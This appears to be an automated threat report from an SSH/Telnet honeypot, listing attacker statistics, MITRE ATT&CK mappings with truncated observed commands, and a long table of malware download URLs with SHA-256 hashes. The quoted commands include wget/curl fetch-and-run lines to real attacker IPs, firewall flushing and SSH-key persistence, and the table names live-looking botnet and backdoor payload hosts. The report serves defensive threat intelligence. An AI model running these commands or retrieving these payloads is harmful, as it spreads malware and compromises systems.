SSH/Telnet Honeypot — Threat Report

Observed attacker behaviour against an internet-exposed Cowrie honeypot, mapped to MITRE ATT&CK.

Generated 2026-10-10 05:02 UTC All-time since 2026-08-10 Static snapshot Cowrie 3.x

414,427

Sessions

+6,466 last 24h

467,577

+6,963 last 24h

13,078

Unique attacker IPs

+270 last 24h

242,988

Commands run

+4,868 last 24h

4,106

Malware downloads

+132 last 24h

ATT&CK techniques

MITRE ATT&CK Coverage

21 technique(s) across 8 tactic(s). Download the ATT&CK Navigator layer and open it at attack-navigator.

Initial Access 62293

62293xT1078

Valid Accounts

root / admin

Execution 400

400xT1059.004

Command and Scripting Interpreter: Unix Shell

#!/bin/bash set -e # ========================================== # 1.

Persistence 894

829xT1098.004

Account Manipulation: SSH Authorized Keys

mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo "ssh-ed25519

65xT1037

Boot or Logon Initialization Scripts

#!/bin/bash set -e # ========================================== # 1.

Defense Evasion 20843

20169xT1222.002

File and Directory Permissions Modification: Linux and Mac

/bin/busybox cp /bin/echo dvrHelper; >dvrHelper; /bin/busybox chmod 77

595xT1070.004

Indicator Removal: File Deletion

export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/b

49xT1562.004

Impair Defenses: Disable or Modify System Firewall

iptables -F

20xT1140

Deobfuscate/Decode Files or Information

/bin/busybox echo bFRP | base64 -d; /bin/busybox echo Nkty | openssl b

9xT1070.003

Indicator Removal: Clear Command History

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://176

1xT1562.001

Impair Defenses: Disable or Modify Tools

chmod 777 dl.sh; sh dl.sh && echo ZKLOADED && { killall telnetd 2>/dev

Credential Access 405284

405284xT1110.001

Brute Force: Password Guessing

root / 123456

Discovery 34528

22593xT1083

File and Directory Discovery

#!/bin/bash set -e # ========================================== # 1.

7830xT1082

System Information Discovery

uname -s -v -n -r -m

2195xT1033

System Owner/User Discovery

(wget http://77.90.185.66/wget -O- || busybox wget http://77.90.185.66

1761xT1057

Process Discovery

/bin/busybox ps; /bin/busybox ECCHI

92xT1087.001

Account Discovery: Local Account

cat /etc/passwd

54xT1016

System Network Configuration Discovery

ifconfig

3xT1018

Remote System Discovery

printf 'COWRIE_DIR:%s\n' "$(ls -d /home/cowrie /opt/cowrie /srv/cowrie

Command and Control 7590

7576xT1105

Ingress Tool Transfer

(wget http://77.90.185.66/wget -O- || busybox wget http://77.90.185.66

14xT1095

Non-Application Layer Protocol

nohup $SHELL -c "curl http://47.95.229.249:9621/linux -o /tmp/dfe6BFPm

Impact 720

720xT1489

Service Stop

#!/bin/bash set -e # ========================================== # 1.

Attack Volume

Top source IPs (sessions)

Most-tried usernames

Most-tried passwords

Most-run commands

Malware Retrieved

URL	SHA-256
	4af5a5c98ad132095c6fbe7b02c242153a190a01cc321e50a916a0ca46fbaa62
http://77.90.185.66/wget	e4e6d77040f6a91d42292fe7b8fbf9e6ca5722c940097e21a345d03b522af43d
https://del.sou.pp.ua/install.sh	d3eb882d32f38c23b5a08fd4b50e71713f6c028728eb859ac1eca421f1b10069
https://del.sou.pp.ua/install_tm.sh	8db103466c032c12d0b945bc1f86e62039f9b2f44779c7450eac9e52251fcd62
http://205.237.110.232/wget.sh	e1568cae97252fa9350ef2d2d381975c8bd29e11f126fb06bd64e92a73d7beb9
	01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
	798f3c696c7642b3cd47f47ff039150ee946dce877ee04cd36af64e63e27a2c1
	848f1546a84dd92cce3c1463e3e964698533d93d6ea7be00e000db5efbb1d2f4
http://2.26.136.128/twget.sh	f2e2ffc024ab99eb49fa207756481aa80713398142f30888aebace5706909b36
	edd157289211c6ab0fd88aa3330f98567d8eeb6525907165b0d9b5a4f88bb914
http://176.65.139.228:6677/Exodus.sh	e4eaae680e23b413ec82a1cb66b4704f2d5df913520700f15e1a65c4ce10d322
http://176.65.139.228:6677/bins/x86	156ee410363b67810416d16a797225ffbaa01cf80daeaff346dabf199f75cbed
http://176.65.139.228:6677/bins/mips	e30b557c9621436b70441106311009ffc2e3939798253ee2f0d137048e21cc36
http://176.65.139.228:6677/bins/mipsel	be8947c577699304112a86ec5418586f5993ec17a2c435aa8d1533a62400a806
	2ab69a4ccb50354c271b887c951c7628ec8183c478462dd816acffa316e21313
	2b08a2d856b1611e827bb9adc3bec0c46757d362494068eafe0bd1c6c8398019
http://185.93.89.72/wget	47ad3cf2e40ac559b550d22cfa72793998ac35aeab543a93dc5c96a765dd4d1c
http://185.93.89.72/wget	15dfb2762480c825beb4f3cf3c57becf9386c02065f23525604fef2c8992f280
http://31.77.227.121/bins/px86	5b04ad1954840a4535e06fbd7cd2264de14fa5c804cb39e594d717f03ab7fee6
http://31.77.227.121/bins/pmips	9fc78883ee19abc031e2aff0181266ef1f76662d85313cb9a1edb76cdb7ed9f2
	1193dde1c831808bf6f2db6f5b850b846b8a7f870873ec3b8a347f21cc5d96e3
	a9b1c85a7bd78dd1112ecc75c9070ea8c53078831a17aa09ebeb287fe6e21b72
ftp://185.93.89.72/ftpget	2a6525f19c7251529b1a31046db8b7b324212871f6b1f8e5bf169b2b877247ea
	0c99433c7d433d65ab890dcee20b330f262379d532bc76f91e18f09ecfa5fb54
http://185.93.89.72/wget	a6296a79f44e21b76604d2d2bbf795d2cf380f70e39d45fbf166707ff3b4a6a4
http://5.182.210.174/ok	6aa5054a95d23277df417a5f69cf292e19bc2ef0406bc0c1884935a44e3ce797
http://5.182.210.174/af8816	9c719ba3b1cd4a8cf820c5eaea04aae7d0188da53e75f18f9c04c1fbbd3cc97e
http://31.77.227.121/bins/pmips	896f63d1435cd22055e0e9c1d240fb51291d8e870ce4e1df89c2922ffdd713ff
	e2c1480175d58d6cd8cd277553ea2f8e1648d30228f09acf447a74da3f6f9fa9
http://31.77.227.121/bins/pmips	5b13fb5957b84ef7bb9d0b6cd509c947ff6a37d67efdac2b896ddd3b908aad10
	450e6939144f8bb1380dd73f451bd028c6abd3e05e8b63157d2a0f8014eb1bcb
http://31.77.227.121/bins/pmips	566da197a6457740c4952b5ea3dfbda12240f3243c5311f11321effa0c80fceb
http://31.77.227.121/satan_mips	80c3fe2ae1062abf56456f52518bd670f9ec3917b7f85e152b347ac6b6faf880
http://5.182.210.174/ok	29010d63f15a642badde503ef07143a9f6d95851443d4e6e59efa6967838db55
http://5.182.210.174/ok	55333aa29e811249bc8d331c186243870b22706bc9e0731f54dad97cc7510227
	3631b048df83cc9de347152cebd93e695012381670cb65294967729ac66b9c1d
http://5.182.210.174/ok	dc1c2197a1466c6c27e1eaaeb4808c216830cc7330673bee3c9d30393f265307
http://5.182.210.174/ok	f758db54575df237fb6666de6d4320d2d16cda4587fe69a91fc731de440e6602
http://176.65.139.196/bins/kla.sh	bb36568c1f0a4f4d604cc67f8692506291eb1ffd217a451ffc846c94daa09440
http://176.65.139.196/bins/px86	979bd80a9ffde500946e02911d2824eab5fb25c265086b6569e6fff6977d21a6
http://5.182.210.174/ok	f90f4a51eb29f748e8ff0343496494edfc6f39fc89e758cc01f1d90bb0400aa5
http://176.65.139.196/bins/pmips	ed6bae2157415fa2477745b620368c5056d2a57a0c8a98648cd9352f8f3e248d
http://5.182.210.174/ok	7a5dcc03b6274d723da5ff6fe15a8a4b332daa6f56a928fd64f65d04f4ba1f0b
http://5.182.210.174/ok	13559c39347c00feb31135d76b7a1779a1cca6de93fa90f4d33fb5fbf8c99b12
http://5.182.210.174/ok	e3ed586dfe5400e89894229bed2b8021af19ebfcf95d5519d857988e6986f36d
http://5.182.210.174/ok	3d7ed7bc01de7c668f041e2bd8bff4678dbdf599744edd55592f1e1dacd5aa96
http://5.182.210.174/ok	d3edad76a88a3d8aca2612128c96ed0d8434d65c50f343683a8fa56f0ff04488
http://176.65.139.202:80/telnet.sh	ad19b70c4e523ef24baf5e062d2200e139b619b56049219d41cd0397faff2c40
http://176.65.139.202/daredevil.armv7l	c71d74ce79b23052d26619ccc3c967fa46d2fd97328369b22565ac84f9028882
http://176.65.139.202/daredevil.mips	344bbdca6cc3f80f2d996398fa443c3dd7c98575b85cebc26df684ba04aa9369
http://176.65.139.202/daredevil.mipsel	9f1897ced87b33877e10b8185c97ba0ec386e53b04a82b5e942f05f56db18bd9
http://176.65.139.202/daredevil.armv5l	b9624cc297aaae53f3ed88823d1afe307e7b17d4fc7fcfba5b511e31b23ad30d
http://176.65.139.202/daredevil.armv6l	85da18f5c68aae1c1f6bba48083c841b72f19e81a3fbfb6289154c6b0b5b20ba
http://176.65.139.202/daredevil.x86_64	5036f549c3219ce2815373127c4a429ccf5d807c123847769027b53ebe19f627
http://5.182.210.174/ok	474f623e80f175b5b2045f46532d5fbeb901ab2c578b0e71b181e57a3d98ad83
http://176.65.139.202/daredevil.armv7l	bfb4fc546e7c80572a85cea5828f27621dcefb05a35c06685e43cc67f8d3a48b
http://176.65.139.202/daredevil.mips	9e2e7f57fa1f117b911b741e29fde7a53c047ed34ceb3ccef354db2bb4c38017
http://176.65.139.202/daredevil.mipsel	e51c0db804508c31cb85c858eebb684d14d5386ca7ad733b97d460ef763546e7
http://176.65.139.202/daredevil.armv5l	6f6287e9e363e5457912abb4100053964f28d4d2a0bd3c6046f9035f89022073
http://176.65.139.202/daredevil.armv6l	c7cf5a8802506852d057798cfcd862f89af5a48f3239fbb3e905f112987f0cd6
http://176.65.139.202/daredevil.x86_64	f2006a57f197a51049224e841ace1bb1eed5de15cceabe20353e76ab4c9e4d6b
http://5.182.210.174/ok	529a7184ce91040f0f8731483c04d8ba48457f5a93031fe6a43d5d992284c445
http://5.182.210.174/ok	ed827b90ccc9e16a9b10976af85514d1812069d067c6e61c936b1cce2afc5f60
http://176.65.139.202/daredevil.armv7l	29fb2896608e2b8250ae782a68c1c10e0fc02b2e312da5a603cd8d491f4d0f89
http://176.65.139.202/daredevil.mips	95f5156abcddb7fba0f4adb0915769fbad23256ac6344c791f10fdf08a1057ba
http://176.65.139.202/daredevil.mipsel	6210a1c6ff3c633555c8578b34caf5df58462fdfc65226b75ac2a0773e682a2b
http://176.65.139.202/daredevil.armv5l	eb05c12761cf7d2da32e0d6c1079e41f4239c94300d87e39c678bd345dc25b22
http://176.65.139.202/daredevil.armv6l	06c0d953a56629d869230c7962836b020e0977e8086c1fbfb7e6470a6047dbc0
http://176.65.139.202/daredevil.x86_64	8dbfb51d784d840bfd4895610e203655b23a0d53ebfea2d8fc18025870c18551
http://5.182.210.174/ok	dbeb5a525bbdcb721b0f39ea25299b82c54056eedf08bd42adf2b2e63336ad4d
	6e3a2ed562c0ea2e258556f2cff109b6f8a0f08f5a1d7cb6226f0c5ac9b9d728
http://5.182.210.174/ok	009a59d0834f898c20610fd779e15926abfc387574e15fe2214bc1ee27a6eca8
http://176.65.139.202/daredevil.armv7l	4a9a6cf71efa9793bc277ba6859293f9ea0e927199500958e06a38520b961901
http://176.65.139.202/daredevil.mips	66326f22c7f5c6f8f1d4ea8772a61a93d51614a78530143379fffbc2a19bf6a3
http://176.65.139.202/daredevil.mipsel	83d490e7d957ade322b6607680a03ef57b902cbd2a78727d1d5385444782db67
http://176.65.139.202/daredevil.armv5l	9d7b93ba19385d888464df216ccaaf0155efbba4ebbc119167d1a13b9e1eaf0b
http://176.65.139.202/daredevil.armv6l	103780f703b680311f9e0e591153c6c7d8cc85478412225c7f4d49547626060a
http://176.65.139.202/daredevil.x86_64	35948feeefc6efab50a929eb9996672f5800a7257ab4fa6d2f63f55f2db72de4
http://176.65.139.202/daredevil.armv4l	8bbb53d655eb35aa458ad114ba407ebced834a4ce99ad1160901c3dc427bfb77
http://176.65.139.202/daredevil.arc	7e54ac3c759bb0464aff021dc430428d08ef001fa311fa5a2707e2d95293d540
http://176.65.139.202/daredevil.i486	eb45cdd7b561b560f44e125299935faba28d678cdcea848f12400de975fe15b0
http://5.182.210.174/ok	dee75b1f9f5bf18f8ae1d2a1d2cf1c825f2b11110ce0169892b00923675c116c
http://213.232.114.14/handshakebins.sh	f7134ec664ca003c740337cf7b2fbba1162430d86ca1d7a2b5c14fe0463d261b
http://213.232.114.14/MIPS	0658e79b91e732723b540ee7040eb0289c497f781d750e42b25dfcf10d233f50
http://213.232.114.14/MIPSEL	3ae5e3dc113e4f92cfae8d293b7362c5cc64fe447afe7cf8dcd4ff072d3c520f
http://213.232.114.14/SH4	38534279305c05fc31115da438390708295fc646f41926c3f3a5fab428757551
http://5.182.210.174/ok	e3ef8b98846191f26dad3539746f688f9fb1687856f4867227e5dace50e51dcc
http://5.182.210.174/ok	f98ba385f258230244b01dcadaba771ed1808eabbd23e3244dc12ddc03977d73
http://5.182.210.174/ok	793aaa1588361e32a225c419ad32fbba9272f8a2d6d32393db0418a855c6b101
http://5.182.210.174/ok	1a1987d6834352fe7d698525c6b4ddfbb4ec473d343ea0f9e9527bc360ecc240
http://213.232.114.14/handshakebins.sh	e79d297fe0f3ba23f3a37f931bf6c31ba7332eff9432dc08dd5ae0e27bc5ceef
http://5.182.210.174/ok	9f2c0dddc7a55a9cb070a9d789ba4e8e3f57f42e143d212f2928ddf633328f49
http://5.182.210.174/ok	6e094b797206e98a8b1190e485d594230f7efd162b72a2db7231b8b6a7f33075
http://5.182.210.174/ok	8f5eb27e5cb48f229e54a10a598361bef589efa93d699f0983e6288eda2f66a3
http://176.65.139.136/satan_mips	b04d6f92453607b9ac265d7747fa832fbb243df7de023f5cdd54da5661b360f9
http://5.182.210.174/ok	6a01b880bc984a8c425500c0f9a23c38dc7b1cc8e334275879442f395f2ea4a1
http://5.182.210.174/ok	d86482a73d18d39c2780bcb96f231aa2fec272e5d3b29f4db7e9ed20fdc97d96
http://198.144.179.82:80/1.sh	1d64be0ba1bd9924c3e29ae460db9407e4e33afeb864c9e39377ae4a87fa09db
http://play.nopixel-rp.ir/iran.x86_64	b20a9174c59849a0797b820d5c5d79d4081092be0dd7a33a7fa615f8a019ca8d
http://play.nopixel-rp.ir/iran.aarch64	064b7e545a6d5cba20ffe1217ba3beb46b5aacda503b4d02bc3b950915ee271d
http://play.nopixel-rp.ir/iran.m68k	c8cf583aa33cb7e5878f984dfe0c15ed7265a383b9db478ee6acb1dd61d5da55
http://play.nopixel-rp.ir/iran.mips	4bc931e7c7ac9eb97a714a8c10d8481c4f8e3875890670a1a1d6b7c78416fb1a
http://play.nopixel-rp.ir/iran.mipsel	128ea10d3aa0cabbb765736b986090273d1fda6713c8b732e4aa46a3812bf9bb
http://play.nopixel-rp.ir/iran.powerpc	6eea4575c06458829ac72a8fb15c5eaae9fc696443d10c3fb82254d2e76cd5d1
http://play.nopixel-rp.ir/iran.sparc	c3b0959ec0e96087f9a2bbeaf1a41272f4a18dd7aade9d5cd83b5fca89e4d16d
http://play.nopixel-rp.ir/iran.sh4	6a487e8db932285c22f76005ad894cbf1f51660fa86c64fc5f2c351d4ebccdad
http://play.nopixel-rp.ir/iran.arc	ee7aa110068c7af7be0109569dc9eced29930a51e2fa0d0d42ca112ce2adccc3
http://play.nopixel-rp.ir/iran.i486	77fc32aee215814a5e16cad93f9b20ad96992de42c1deaee003201652320be88
http://213.232.114.14/handshakebins.sh	7b1cbba56bb80e185cdf2097f5716c31d7e0f88f28ad7220b3b5a2cf73859ec8
http://5.182.210.174/ok	32b813f04f3249f133b6d5109a41ef9b66cf65e8ed7018c7ba5d109abcf9a767
http://5.182.210.174/ok	44c1970ed7b28ee9e57b0c1ce433acc27f3e7d72272ad5a858b3ddecf4e2f2b7
http://122.252.126.5:29266/lvn3/eU	14049d077b887cbb8060d223ff9626664a044a8c3145f6a2b95a325df36b279b
http://5.182.210.174/ok	04f7e40cdf60956a4529d5ee11cf4db4c29afd63f26837be5c7f1f16d6f1b143
	e12ce3d36c3da433b25a74591af52d043ced724104b7a9f09ee2f1fcae17e313
	c9edb1a3f4a227a066bfcc489f03a6279aedb65b090b919c75fafc4dd4dd2fa7
	0dc95fb4077cce0bff19aa1a77109d059dff6503bbf6c1b0dd2f41fc0a4c88e7
	e283e9dce53e260605a6b7d541b5a0fadcba546445732cf508b7fafa128288c3
	13fc28871d7ab814fdc3759d09656ce7d107cba8347c7fe277b9f2dc56074d20
http://102.220.160.204/wget.sh	85f20c0e4198cf0f80b6bc6aeea8589ed6f88263a2a6b66fe02eb4846a841440
	53da7ba9f345a376647d36cbdb17b40fe2f7033703ef7a7247b0214b3c473581
http://102.220.160.204/wget.sh	394f9b6dea131775f7c6c6161ffce69507bd4ec31d45ba566e6baf52226121fd
http://102.220.160.204/wget.sh	6bdf66b5bf2a44e658bea2ee86695ab150a06e600bf67cd5cce245ad54962c61
http://102.220.160.204/wget.sh	3d4ff47c5a562b2fa1248e732e01dc41ff125d311f3a27aa2373c592bf250cb9
http://176.65.139.206/AGbot.armv7l	79c8fd7d3756d159b7400731e9314b3fcf620299fe5cb4e6d69ab0e354010d2d
http://176.65.139.206/AGbot.armv6l	9808824ebdcd7f76ccdcfb9ec5ca24ea56de6357237a8d689aa9b3a8c6290de2
http://176.65.139.206/AGbot.x86_64	179d9e8fe74103025d55e165bb56d4ea2ef031b3803f26d0e489aaef8c22ae20
http://176.65.139.206/AGbot.mips	35567bc823298288b544ba51d3c26686902c7a7d9fd6dc07283f46ee03892924
http://176.65.139.206/AGbot.armv5l	c8a70e9dc14a0e2b4d3c8696e3ff84a0f3ffe18ae1d70c3f81c8da4549fd93ce
http://176.65.139.206/AGbot.armv4l	45692cab073bcca5de548a4c595697e2ce4afc27841bf1ba808243049bb88230
http://176.65.139.206/AGbot.mipsel	edbdfd44e1bc43e8fe0ad16c4c8591cebccb13b0f2068128a9a3ee95ce253868
	ec540f499719a314bcc41a19ddf776afb5f442dcd88a4d349ee2ab3700fc773a
	2111d820318495a98a9f07e43ab661ef1781e2cfbdf3966e18c7b0dd25200d46
http://176.65.139.206/kworkerd-blkcg	c45ff1d693057febbed0989a0990d7b0de74006e6f4a0976036df2944692bffa
http://176.65.139.206/kworkerd-irq-bal	0603941eb6e88c7b716a67c1584aedf4d78fc060e18cf72e09cb59f6561387de
http://176.65.139.206/kworkerd-irq	89ec6a698e44c22d39bb822add4abfba32a23e1af991b9f0ad786b9d0ec0be1e
http://176.65.139.206/kworkerd-netns-rt	951258ffa00273ea87d05725471d1174fe7176bf34c56b1b3c9974eeb2e0d5b5
http://176.65.139.206/kworkerd-softirq	93d1219016d2c06a434d3042b9c26e471acbff40062b22fcab73d05bfe169760
http://176.65.139.206/w.sh	a05b90aff2b770c56d025b26d978a5d87ca8686ba2fd4e48010c036f72737310
http://176.65.139.206/armv5l	2dbdb379610e8a9bdbbbe898e896c6ff96285e4ae2f4979ed514aaac57c7804b
http://102.220.160.204/wget.sh	02cc77c56e21a61c0ac590458d1d03bd4d5c6fff56407cb758f739bd0ea8e3d1
http://176.65.139.206/main_arm5	618f6bb86007f6456e4addf4ee96ccd799167d1fdab9d49ad8296231dceb1c61
http://102.220.160.204/wget.sh	902908c064a35cc7bbe0026992ef185b4bdd3ec074f1166f2db646acc3253c15
	a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2
http://176.65.139.196/bins/px86	2461a31775cc11e16548a2e47c5a1afd7bddb57b97d2247cc02bb4c5c63da498
http://176.65.139.196/bins/pmips	41a3941bce8b84117e260d93b8a04087a844e9dc36fdd14d18a73d18e7fc8fb4
http://176.65.139.196/bins/pmpsl	82d0ca43bf8179a90e49a733b05374dad2461249acaea02d254e00a45eb83662
http://176.65.139.196/bins/parm	6e028a69d35e03461e8b272356d507bc82c68dad2bfb5ee8b81ea4f334703fef
http://176.65.139.196/bins/parm5	13e3e1310dd9e9210ed937a651361be16b554be2d20ce5ae06b1dcf610dda603
http://176.65.139.196/bins/parm6	7aa4efe57da57809d1ed2eab48d4def41165af50e4f1576a11ce867b237cfea8
http://176.65.139.196/bins/parm7	f8df5faa29e45dfa0b2392c3e149b71f570f114a09ab26404f45da90d589b5c5
http://102.220.160.204/wget.sh	8a09c31ad02cc3c7879c810d3321f641fa2f38468d8ec0e18d22bbe3d0ae3bb9
http://58.211.144.243:800/wget.sh	322da877bfbc559dccaac86066936f38c0e18eb7ad99d735604f71f20004746a
http://58.211.144.243:800/arc armv6l i586 mips sh4 armv4l armv7l i686 mipsel spa	e00333e37a01d0ef26dfb12f43bedebb057af2aa8054c7b4d88dc093338bf779
http://2.27.248.149/lotus.sh	f79f81089f28cb3cf9c9508295d4c5ee7261e6b337286fc25e5af20a078ed0aa
http://176.65.148.10/install.sh	6314ab9a32ebfd10f877c94937e982a470821bce204bfb500e92b50421fa657d
http://176.65.148.10/mirai.mips	07623448429a02c23d568207e8ff42f08578bdc7fc626d0aa1ad5a56f880853d
http://102.220.160.204/wget.sh	1d37e0a2a8da58ffdaae9879340f0063953513a0aa6b3fc6598b5ea166c87dd4
http://158.94.211.199:9999/176377442a2a	a5324d01ad04f2db1167a67ffa2930afb7e935a6c6d292c16d2482412d694f4f
	305ebaf564e032ee68f445d4b320c284d10c04d3420de082950fa494841a42df
http://192.227.210.190/dred	a37649842a47b8456a763c1b4878d08ea7ecee0ea861db2d7588f99f7e180cda
http://176.65.139.196/bins/pppc	ebad2cef96dda4bf2b571c27cd309f2b100d01fc4c9b70c18c06e149881317d4
http://176.65.139.196/bins/pm68k	cb8f8eb7da5384a9b804b952ce3eadab93b374d02fe7119e1f2cbac0882bbea6
http://176.65.139.196/bins/px86	cc133687691f99e90fa954bca5dfbe972f9848d7b5686ad33a507ed0104003fd
http://176.65.139.196/bins/pmips	df66bdc3da336138f12404d237442ecbdd6651b29b0c459c28d2c0de5b6a6b52
http://176.65.139.196/bins/pmpsl	c87a48c856e008cd399f1ac0216c925d974ec6d1a3365d777275bcb81da9c5c7
http://176.65.139.196/bins/parm	c4d6c6075eb0ca6aa60eadfee8a5ee926896834cf5f10cdd0c0dbd4650f1b42d
http://176.65.139.196/bins/parm5	f1d1be8666bcda696e61df8af880ecc0243a49f9895b85c488a3daa5b8086cbd
http://176.65.139.196/bins/parm6	a6216bb61f3abcb6f001458169885c6e6a79c7fad40d2648883a6c535b8e6466
http://176.65.139.196/bins/parm7	ccd757a0bf1edd9b21e379ccd9af8aac68cbaae777d38dd220c59721322189de
http://176.65.139.196/bins/pppc	f688f0a1d80270dec764c4fbe5b0fac6f93f3a5c720c672a9137146e1557c1a1
http://176.65.139.196/bins/pm68k	8d1a23b4bf005aa1fbbb6ceb720c90be5a44dacf6f5ecd5852d7ffe75c3a2d02
http://217.60.103.135/mips	e6c7b3966edecc20a05188f114650f2b7228b5e3fb3cf346c98ab52869adc2d5
	0a0c931f6a7b4d4d66389dab1c83cb4f7355f627399a040e79ce34ae2ab02957
http://102.220.160.204/wget.sh	c72b2c3241c6947c58c74499e5e8539f24286795d0f6dd132e9758a954a15018
http://217.60.103.135/mips	1921fbac7491fd43f197b13d471e7faab8fd41273115ce36ba3731b74934d01b
http://217.60.103.135/mips	34c263ceaa0db7ff8596d33776055a2e04e3092f1742c9d0597b5b87e239e3b2
	935dde9d2d545bf2ef697e4f6d0dd2a90d6bfc50350a22c108d7f82b2be23dfe
http://217.60.103.135/mips	3e6aa7b990e67ae2f9d93306fca52ff65f392d8734d587c1d2badd2a9a44df63
http://217.60.103.135/mpsl	5b13ef3b8a7100bfc079fd545e1ffb8f7fe0219298fb300acf03441d6370b08e
http://217.60.103.135/arm4	297a329f8cbcf94026aa523375b0582dd8ca6fc54f6f2a41b2531a43cf0eec1f
http://217.60.103.135/arm5	c116c032f8404a0e5d4a662b4d68a21a4d2b885f1f98903ba525d24d33ea14f1
http://201.7.16.231/bins/ouroboros.mips	7b4ae04eb682d8e28213d4fbc71ae63cb758535a00d28f1a5ea8b14a074736b0
http://77.90.185.107/azure/aws.sh	42e69004983cfe04dcddf49b3a6cd670880b95da0f518683d204a805ef0941a9
	73cb3858a687a8494ca3323053016282f3dad39d42cf62ca4e79dda2aac7d9ac
	8d8f226abf2526120740e7b63f59d3d8260f88bcb52c5b98abb45ef48e0565d1
	43e81a4cf69925e8beff86ed9de27d463b62aad6ba1b3b65b277e68fffef1a7f
	fe9f63d466386ed0333d34e7d811dabe79e39531d1a32b94f3a5b906de8bc1af
	c47f9c3272233e22134f39dadbe1a492a510c2d41a0a01e9014119c5aaed0b8a
	1ebd631fbee11b1c575a78fe32d3704aa1f4dc09c1d91906e12175aca083676f
	12b5236873de33395c7a063ba404460c48e4ceb45ef352204bb49ea981c38fdc
http://202.110.70.60:800/wget.sh	2c5a796e6f06deabeb7750f39b85b062831729f7bc60a8da2300588b1d334722
http://202.110.70.60:800/alya.arc alya.armv6l alya.i586 alya.mips alya.sh4 alya.	3bec590be57f6899b2835c910da30920a16ace612f637d56bfc894f8bd2ad7e1
http://176.65.139.196/bins/px86	98c6780a3a6d276994b02ab89f80671f5c347f029ca76472e7095a9407761b08
http://176.65.139.196/bins/pmips	6d91ecbff02877062add12ff8647a1c85dad1e2429aad08095e0421bceff0ede
http://176.65.139.196/bins/pmpsl	5be047ede1d06e807c9d52aa65fe899eda0720c784d51e3715395146e25b843c
http://176.65.139.196/bins/parm	32ad236fe419a677de7d6cc56a7d774641bc5174aff5d198af0bced92b8fc488
http://176.65.139.196/bins/parm5	a273cd0b39df9ce7debccf814615357e33af32ae42231fb9bf9db2921b3346e6
http://176.65.139.196/bins/parm6	62a434f7061eb5b4ec075be4794dc268968f7e6c7eff530583a30ed9809bdd7d
http://176.65.139.196/bins/parm7	2114dad45995ce2208cdd57701bcc4489daa093b35072ca52e08ff2f73fd160d
http://176.65.139.196/bins/pppc	b8a95987f0fa415d5091b60589c0d3cea9f9b99f408c60bde7a2ace9454550a5
http://176.65.139.196/bins/pm68k	49b0bc6e09ab3f485f3a45fba571a19e83b5071a22124e8050d9fdabff10ad79
http://77.90.185.107/dlr.x86_64	a38fb583ceea4c8942c46ef1349e80bc898d990656f6b9bb1d76fef06ed9ca1f
http://77.90.185.107/main_x86_64	6331122f36cac445ea51b44f0c1d87bb649122da3607c73e29f933f6ec98fad9
http://77.90.185.107/main_x86_64	2172e8a05f34058382e0cd5e6ded0d4e3bb4a80ca0f10430b92b41078c5353e6
http://77.90.185.107/main_x86_64	c9e7f7458e2f54e6c1757a6aa1ded3ea1b1481896cdd8fafaa2b84f53b2cb58f
http://77.90.185.107/main_x86_64	f23b4ff53e6c5e0434d9488a92fb504f260b0e9551f2ba5413b7d236132948e5
http://77.90.185.107/main_x86_64	481d63e117bcc614d3675b0d7c245fe8fbb9ca470f53213788014c33162bf299
http://77.90.185.107/main_x86_64	edf7a43c051f4cdf7b47ab2fb8e261296d21ceeea3bdf5a5812b9ee82fd13aca
http://77.90.185.107/main_x86_64	cb5ef40c16773c6aa341ce748c0c4a646ad81e172555817cab4bf5aa48fcea9d
http://23.95.228.20/dl.sh	c030f061903119a557b2bccc2009837296bac13b1922fc01da6977b6a8fd1253
http://23.95.228.20/dl.sh	e63cf3ce1a71ea69d596056cb212337c38ee4740b22f73b5bd64ffd47cbc0d7a
http://23.95.228.20/wife.x86_64	340c8464c2007ce3f80682e15dfafa4180b641d53c14201b929906b7b0284d87
http://23.95.228.20/wife.${A%%_*}	a783b9c187c2177ce3a44c19f53b338134329b8995e4049b10fe204fc7cb1ae0
http://23.95.228.20/wife.aarch64	47e8a66124310758285a549ba29900bd30a86e13ded7f165640954f7b5602ca1
https://del.sou.pp.ua/install.sh	f04343dea19a7571b3a7bb3e523b9d32d8e50d58201e60e7770e4a72648fbe64
http://45.207.157.28/backdoor.sh	83b36b3a80677d6ef4a165cbbc808b4889c76d194f976eab37a8dfe5c8eabae1
http://85.192.48.80:8888/bot_x86_64	87568fa4215f1e230bf15f9bdb88528b7ad5d58e9ffb51324dc37c6ecfa00e99
http://176.65.139.157/telnet2.sh	ba9c9d9d361d7df77a94b04aa66b7ae34c9d92b38e620ceeccc95058ea1c08a9
http://23.95.228.20/dl.sh	78b1794c29c7c5e91ff8b9e2d8f13ffc658ada5489f7cd528e8c77ee1200af6a
http://bot.3.9.f.e.a.2.8.f.0.7.4.0.1.0.0.2.ip6.arpa/wife.x86_64	1abf6f8b0d3e4b7fa86102bd400e91b0933e0d0dcaf90c11f91e6397e9661633
	306c6ca7407560340797866e077e053627ad409277d1b9da58106fce4cf717cb
http://176.65.139.201:8080/nyx_bot_linux_mipsle_packed	66024c3e81837a3a9513ebc6e8e93176b82529db47a43de88fd4cf2d859f712f
http://176.65.139.201:8080/nyx_bot_linux_amd64_packed	37eba2db655a9bfa784e18e83a686516619da262268e6ed66cbe3b23c4ce0845
http://176.65.139.201:8080/nyx_bot_linux_amd64_unpacked	5da5acdb8759fe324fabec7e2d25e8e11c3a51ed14d5d04d121c05050e1b7c91
http://176.65.134.119:80/agent_i.sh	2c2511a8da4d5d01ad672f105b9b46b6ccc26754bc6f34b5577673078e3c6681
http://176.65.139.196/bins/px86	390b8edc144eccd74d015b4720fe830553779968096f621511bd46a50bb93b82
http://176.65.139.196/bins/pmips	144d36ce2d4364985022df9dc8de68accbc5269a819d3af57c3100dc69fcdc5a
http://176.65.139.196/bins/pmpsl	e3dde3711692bb0fc59229603104892e2f6f7f42b31d4fb0a13236f6259e1be7
http://176.65.139.196/bins/parm	04b65db9d2ace2cbcbae885b7c1d9fd290958e3ce931188226950bed8ff32f94
http://176.65.139.196/bins/parm5	3535f0816dec2d1428917e6f1881290ea41c5f6c61b3a15b8128ec7af0ccbcdb
http://176.65.139.196/bins/parm6	6c4018f95651b0aed2a902324de9fffaedd14877e0ff2467d01876f714021671
http://176.65.139.196/bins/parm7	4323be148265ba895f7dd1054cd8522890288d855225ea80dcb47161ea43ca8f
http://176.65.139.196/bins/pppc	531d423241479af321a20b9eebfb58313c173b8086615efdccf89d26e279c0fd
